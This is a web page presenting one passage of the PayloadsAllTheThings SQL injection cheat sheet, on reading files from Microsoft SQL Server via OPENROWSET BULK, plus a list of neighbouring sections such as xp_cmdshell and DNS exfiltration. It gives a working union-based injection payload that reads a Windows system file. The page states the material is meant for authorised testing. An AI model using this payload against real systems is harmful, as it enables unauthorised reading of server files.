Skip to content
BackEsc
Sign in

SQL Injection · passage 63 of 186

MSSQL Injection: MSSQL Read File

2 code blocks · SQL Injection/MSSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.

OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Example:

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

Source: SQL Injection/MSSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 53 to 78, reading order first.

  1. MSSQL Injection: MSSQL Enumeration§ 53text · MSSQL Injection.md
  2. MSSQL Injection: MSSQL List Databases§ 541 code block · MSSQL Injection.md
  3. MSSQL Injection: MSSQL List Tables§ 551 code block · MSSQL Injection.md
  4. MSSQL Injection: MSSQL List Columns§ 561 code block · MSSQL Injection.md
  5. MSSQL Injection: MSSQL Union Based§ 57text · MSSQL Injection.md
  6. MSSQL Injection: MSSQL Error Based§ 58text · MSSQL Injection.md
  7. MSSQL Injection: MSSQL Blind Based§ 592 code blocks · MSSQL Injection.md
  8. MSSQL Injection: MSSQL Blind With Substring Equivalent§ 601 code block · MSSQL Injection.md
  9. MSSQL Injection: MSSQL Time Based§ 612 code blocks · MSSQL Injection.md
  10. MSSQL Injection: MSSQL Stacked Query§ 62text · MSSQL Injection.md
  11. MSSQL Injection: MSSQL Read File§ 632 code blocks · MSSQL Injection.md
  12. MSSQL Injection: MSSQL Write File§ 641 code block · MSSQL Injection.md
  13. MSSQL Injection: XPCMDSHELL§ 652 code blocks · MSSQL Injection.md
  14. MSSQL Injection: Python Script§ 661 code block · MSSQL Injection.md
  15. MSSQL Injection: MSSQL DNS exfiltration§ 67text · MSSQL Injection.md
  16. MSSQL Injection: MSSQL UNC Path§ 682 code blocks · MSSQL Injection.md
  17. MSSQL Injection: MSSQL Trusted Links§ 69text · MSSQL Injection.md
  18. MSSQL Injection: MSSQL List Permissions§ 70text · MSSQL Injection.md
  19. MSSQL Injection: MSSQL Make User DBA§ 711 code block · MSSQL Injection.md
  20. MSSQL Injection: MSSQL Database Credentials§ 72text · MSSQL Injection.md
  21. MSSQL Injection: MSSQL OPSEC§ 731 code block · MSSQL Injection.md
  22. MySQL Injection: MySQL Injection§ 74text · MySQL Injection.md
  23. MySQL Injection: MYSQL Default Databases§ 75text · MySQL Injection.md
  24. MySQL Injection: MYSQL Comments§ 76text · MySQL Injection.md
  25. MySQL Injection: MYSQL Testing Injection§ 77text · MySQL Injection.md
  26. MySQL Injection: Detect Columns Number§ 78text · MySQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in